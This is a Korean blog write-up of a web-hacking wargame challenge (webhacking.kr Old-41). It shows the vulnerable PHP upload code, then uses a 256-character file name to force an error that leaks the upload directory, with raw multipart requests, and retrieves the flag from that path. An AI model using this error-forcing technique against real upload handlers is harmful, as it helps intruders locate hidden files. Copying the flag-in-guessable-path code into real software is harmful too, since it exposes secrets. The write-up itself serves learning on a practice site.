Season 1/워게임 Old - 41 Write Up 작성자 - LRTK 파일을 업로드하는 페이지가 나왔다. 코드를 살펴봤다. <?php include “../../config.php”; include “./inc.php”; if($_GET[‘view_source’]) view_source(); error_reporting(E_ALL); ini_set(“display_errors”, 1); ?><html> <head> <title>Challenge 41</title> </head> <body> <?php if(isset($_FILES[‘up’]) && $_FILES[‘up’]){ $fn = $_FILES[‘up’][‘name’]; $fn = str_replace(“.”,””,$fn); $fn = str_replace(“<“,””,$fn); $fn = str_replace(“>”,””,$fn); $fn = str_replace(“/“,””,$fn); $cp = $_FILES[‘up’][‘tmp_name’]; copy($cp,”./{$upload_dir}/{$fn}”); $f = @fopen(“./{$upload_dir}/{$fn}”,”w”); @fwrite($f,$flag); @fclose($f); echo(“Done~”); } ?> 코드를 보니, <, >, ?, ., /을 치환되어서 파일 이름에 스크립트는 불가능해 보인다. $f = @fopen(“./{$upload_dir}/{$fn}”,”w”); @fwrite($f,$flag); 이 코드를 보니, 파일을 읽으면 Flag를 주는 것으로 판단된다. 그래서 업로드 폴더를 알아내기 위해 몇가지 실험을 해봤다. 그 중 하나가 파일을 선택하지 않고, 업로드를 시도하니 오류를 출력되는 것을 알 수 있었다. 에러 메시지를 확인하니, cp 명령어에서 일어나는 오류가 출력되는 것으로 보인다.이를 이용하여 파일을 업로드하여, cp 명령어를 에러를 발생하도록 하겠다. 현재 내가 오류를 줄 수 있는 방법은 파일명과 파일의 내용으로 두가지 선택 상항이 있다. 나는 일단 파일명으로 에러를 발생시키려고 한다.인터넷에 파일명의 길이를 검색해봤다. 파일명은 255bytes 크기로 제한된다는 것을 알 수 있었다. 개인적으로 궁금하여 한번 시도해봤다. ------WebKitFormBoundaryamSoOBSPCV58OK7l Content-Disposition: form-data; name="up"; filename="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" Content-Type: application/octet-stream ------WebKitFormBoundaryamSoOBSPCV58OK7l-- 255글자로 파일명을 지정하여 업로드를 진행하였다. 에러가 발생하지 않았다. 이제 256글자로 파일명을 지정하여 업로드를 진행하였다. 에러가 발생되었다.에러 메시지가 출력되어서 업로드 폴더명이 유출되었다. 파일명을 test로 하여 업로드 후 test를 출력해보겠다. ------WebKitFormBoundaryJBfUcczUZgDMbNiR Content-Disposition: form-data; name="up"; filename="test" Content-Type: application/octet-stream ------WebKitFormBoundaryJBfUcczUZgDMbNiR-- 업로드를 진행 후, 업로드 폴더에 있는 파일을 요청했다. https://webhacking.kr/challenge/web-19/4b0e87fef7b5e8ba83894970c9806042e5d6ec9a/test Flag를 얻을 수 있었다. 공유하기 게시글 관리 MSS 'Season 1 > 워게임' 카테고리의 다른 글 Old - 51 Write Up (0) 2021.05.22 Old - 43 Write Up (0) 2021.05.21 Old - 21 Write Up (0) 2021.05.20 suninatas/웹/2번 문제풀이 (0) 2021.05.19 [dreamhack] xss-1 문제풀이 (0) 2021.05.19 Contents 당신이 좋아할만한 콘텐츠 Old - 51 Write Up 2021.05.22 Old - 43 Write Up 2021.05.21 Old - 21 Write Up 2021.05.20 suninatas/웹/2번 문제풀이 2021.05.19 댓글 0 + 이전 댓글 더보기